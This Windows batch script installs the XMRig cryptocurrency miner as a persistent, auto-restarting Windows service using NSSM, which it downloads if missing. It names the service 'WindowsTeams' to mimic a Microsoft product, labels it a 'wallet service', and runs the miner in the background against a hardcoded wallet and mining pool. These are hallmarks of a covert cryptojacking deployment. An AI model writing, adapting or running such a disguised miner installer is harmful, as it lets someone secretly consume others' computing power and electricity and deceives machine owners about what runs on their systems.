@echo off
setlocal EnableDelayedExpansion

:: === CONFIGURATION ===
set "SERVICE_NAME=WindowsTeams"
set "EXE_NAME=xmrig.exe"
set "EXE_DIR=%~dp0"
set "EXE_PATH=%EXE_DIR%%EXE_NAME%"
set "NSSM_PATH=%EXE_DIR%nssm.exe"
set "WALLET=43TT4ic7JjgfGQpYmB1JXHMJCL6c4o1VEQEQzYgEgiMzZbeKSxpY6NT1duwjiLuRr6FbuCYpTj7eT9FMb8uSL6ZQCVz3tir"
set "POOL=pool.supportxmr.com:443"
set "ARGS=-o %POOL% -u %WALLET% -p x --tls --donate-level 1 --background --threads=4"

:: === CHECK FOR NSSM ===
if not exist "%NSSM_PATH%" (
    echo [*] NSSM not found. Downloading...
    powershell -Command "Invoke-WebRequest -Uri 'https://nssm.cc/release/nssm-2.24.zip' -OutFile '%EXE_DIR%nssm.zip'"
    powershell -Command "Expand-Archive -Path '%EXE_DIR%nssm.zip' -DestinationPath '%EXE_DIR%nssm_extracted' -Force"
    copy /Y "%EXE_DIR%nssm_extracted\nssm-2.24\win64\nssm.exe" "%NSSM_PATH%" >nul
    del /Q "%EXE_DIR%nssm.zip"
    rmdir /S /Q "%EXE_DIR%nssm_extracted"
)

:: === CHECK FOR XMRIG ===
if not exist "%EXE_PATH%" (
    echo [!] xmrig.exe not found in the script folder!
    pause
    exit /b
)

:: === REMOVE OLD SERVICE ===
"%NSSM_PATH%" remove "%SERVICE_NAME%" confirm >nul 2>&1

:: === INSTALL AND CONFIGURE SERVICE ===
echo [*] Installing wallet service...

"%NSSM_PATH%" install "%SERVICE_NAME%" "%EXE_PATH%" >nul 2>&1
if %errorlevel% neq 0 (
    echo [!] Failed to install the service!
    pause
    exit /b
)

"%NSSM_PATH%" set "%SERVICE_NAME%" AppParameters %ARGS% >nul 2>&1
if %errorlevel% neq 0 (
    echo [!] Failed to set service parameters!
    pause
    exit /b
)

"%NSSM_PATH%" set "%SERVICE_NAME%" Start SERVICE_AUTO_START >nul 2>&1
if %errorlevel% neq 0 (
    echo [!] Failed to set service to auto start!
    pause
    exit /b
)

"%NSSM_PATH%" set "%SERVICE_NAME%" AppExit Default Restart >nul 2>&1
if %errorlevel% neq 0 (
    echo [!] Failed to configure service restart settings!
    pause
    exit /b
)

:: === START SERVICE ===
net start "%SERVICE_NAME%" >nul 2>&1
if %errorlevel% neq 0 (
    echo [!] Failed to start the service!
    pause
    exit /b
)

echo [+] Wallet Service  successfully installed and started!

timeout /t 2 >nul
exit
